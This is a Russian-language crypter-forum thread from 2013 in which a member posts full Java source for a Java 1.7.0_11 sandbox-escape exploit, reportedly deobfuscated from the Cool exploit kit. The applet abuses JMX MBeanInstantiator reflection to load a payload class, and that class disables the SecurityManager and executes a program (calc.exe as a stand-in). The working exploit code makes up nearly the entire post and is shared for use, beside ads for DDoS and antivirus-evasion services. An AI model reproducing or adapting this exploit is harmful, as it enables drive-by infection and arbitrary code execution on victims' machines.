FuckAV - Форум о крипторах

Анонимный антивирусный сканер VPN-сервис
[Copi]Team DDoS Service

SEO статьи - блог от создателя FuckAV | KOROVKA.so | Качественный VPN Service MultiVPN - PPTP/OpenVPN/DoubleVPN

Реклама на форуме | Помощь форуму | Аварийный блог

Наш Jabber-сервер расположен по адресу fuckav.in. Добро пожаловать!!!

Вернуться  

Видео Раздел с видеоматериалами.

Для того, чтобы ответить в теме, необходимо зарегистрироваться.
 
Опции темы Опции просмотра
Prev Предыдущее сообщение   Следующее сообщение Next
Старый 22-09-2013   #1
† Voland †

Windows 98
 
Аватар для † Voland †

Последняя активность:
1 минуту назад
Регистрация: 27.06.2012
Сообщений: 170
Поблагодарили всего: 335
за это сообщение: 3
По умолчанию Java 1.7.0_11 Exploit




Код:
/*
*   From Paunch with love (Java 1.7.0_11 Exploit)
*  
*   Deobfuscated from Cool EK by SecurityObscurity
*
*   [Ссылки могут видеть только зарегистрированные пользователи.]
*/
import java.applet.Applet;
import com.sun.jmx.mbeanserver.Introspector;
import com.sun.jmx.mbeanserver.JmxMBeanServer;
import com.sun.jmx.mbeanserver.MBeanInstantiator;
import java.lang.invoke.MethodHandle;
import java.lang.invoke.MethodHandles.Lookup;
import java.lang.invoke.MethodType;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import javax.management.ReflectionException;
import java.io.*;
  
public class PaunchGift extends Applet
{
  
  public void init()
  {
    
    try
    {  
           int length;
           byte[] buffer = new byte[5000];
           ByteArrayOutputStream os = new ByteArrayOutputStream();
            
           // read in the class file from the jar
           InputStream is = getClass().getResourceAsStream("Payload.class");
            
           // and write it out to the byte array stream
           while( ( length = is.read( buffer ) ) > 0 )
               os.write( buffer, 0, length );
                
           // convert it to a simple byte array
           buffer = os.toByteArray();
            
          Class class1 = gimmeClass("sun.org.mozilla.javascript.internal.Context");
          
          Method method = getMethod(class1, "enter", true);
          Object obj = method.invoke(null, new Object[0]);
          Method method1 = getMethod(class1, "createClassLoader", false);
          Object obj1 = method1.invoke(obj, new Object[1]);
    
          Class class2 = gimmeClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader");
          Method method2 = getMethod(class2, "defineClass", false);
          
          Class my_class = (Class)method2.invoke(obj1, new Object[] { null, buffer });
          my_class.newInstance();
          Method m_outSandbox = my_class.getMethod("outSandbox", new Class[0]);
          m_outSandbox.invoke(null, new Object[] {});
      
    }
    catch (Throwable localThrowable){}
    
  }
    
  
   private Method getMethod(Class class1, String s, boolean flag)
  {
    try {
      Method[] amethod = (Method[])Introspector.elementFromComplex(class1, "declaredMethods");
      Method[] amethod1 = amethod;
      
      for (int i = 0; i < amethod1.length; i++) {
        Method method = amethod1[i];
        String s1 = method.getName();
        Class[] aclass = method.getParameterTypes();
        if ((s1 == s) && ((!flag) || (aclass.length == 0))) return method;
      }
    } catch (Exception localException) {  }
  
    return null;
  }
  
  private Class gimmeClass(String s) throws ReflectionException, ReflectiveOperationException
  {
    Object obj = null;
    JmxMBeanServer jmxmbeanserver = (JmxMBeanServer)JmxMBeanServer.newMBeanServer("", null, null, true);
    MBeanInstantiator mbeaninstantiator = jmxmbeanserver.getMBeanInstantiator();
        
    Class class1 = Class.forName("com.sun.jmx.mbeanserver.MBeanInstantiator");
    Method method = class1.getMethod("findClass", new Class[] { String.class, ClassLoader.class });
    return (Class)method.invoke(mbeaninstantiator, new Object[] { s, obj });
  }
  
}
  
###############################################
import java.lang.reflect.Method;
import java.security.AccessController;
import java.security.PrivilegedExceptionAction;
  
public class Payload implements PrivilegedExceptionAction
{
    
    public Payload()
    {
        try
        {
            AccessController.doPrivileged(this);
        }
        catch(Exception exception) { }
    }
  
    public Object run() throws Exception
    {
        Class cl = System.class;
        Method m = cl.getMethod("setSecurityManager", new Class[] { SecurityManager.class });
        m.invoke(null, new Object[1]);
        return null;
    }
  
    public static void outSandbox() throws Exception
    {
        Runtime.getRuntime().exec("calc.exe");
    }
}
__________________


Последний раз редактировалось † Voland †; 23-09-2013 в 13:36.
† Voland † на форуме  
Сказали спасибо:
upO (23-09-2013), mazafaka2026 (23-09-2013), dzhoka (23-09-2013)
Для того, чтобы ответить в теме, необходимо зарегистрироваться.

Метки
buffer, class, exception, exploit, java, актуально, понятно, привате, таджикский, тогда


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 
Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
exploit, excel assss Помощь 0 29-05-2012 21:11
Loja SQL Inject Exploit anaxanim Статьи 0 06-05-2012 17:32
Exploit 0day maulo Помощь 2 06-12-2010 14:07
Eleonore exploit pack rf4fun Помощь 9 12-10-2010 17:47

Часовой пояс GMT +3, время: 14:58.



Powered by vBulletin® Copyright ©2000 - 2014, Jelsoft Enterprises Ltd. Перевод: zCarot
Други: SEO блог Deymos'a| ProLogic.Su| DServers.ru| Форум веб-мастеров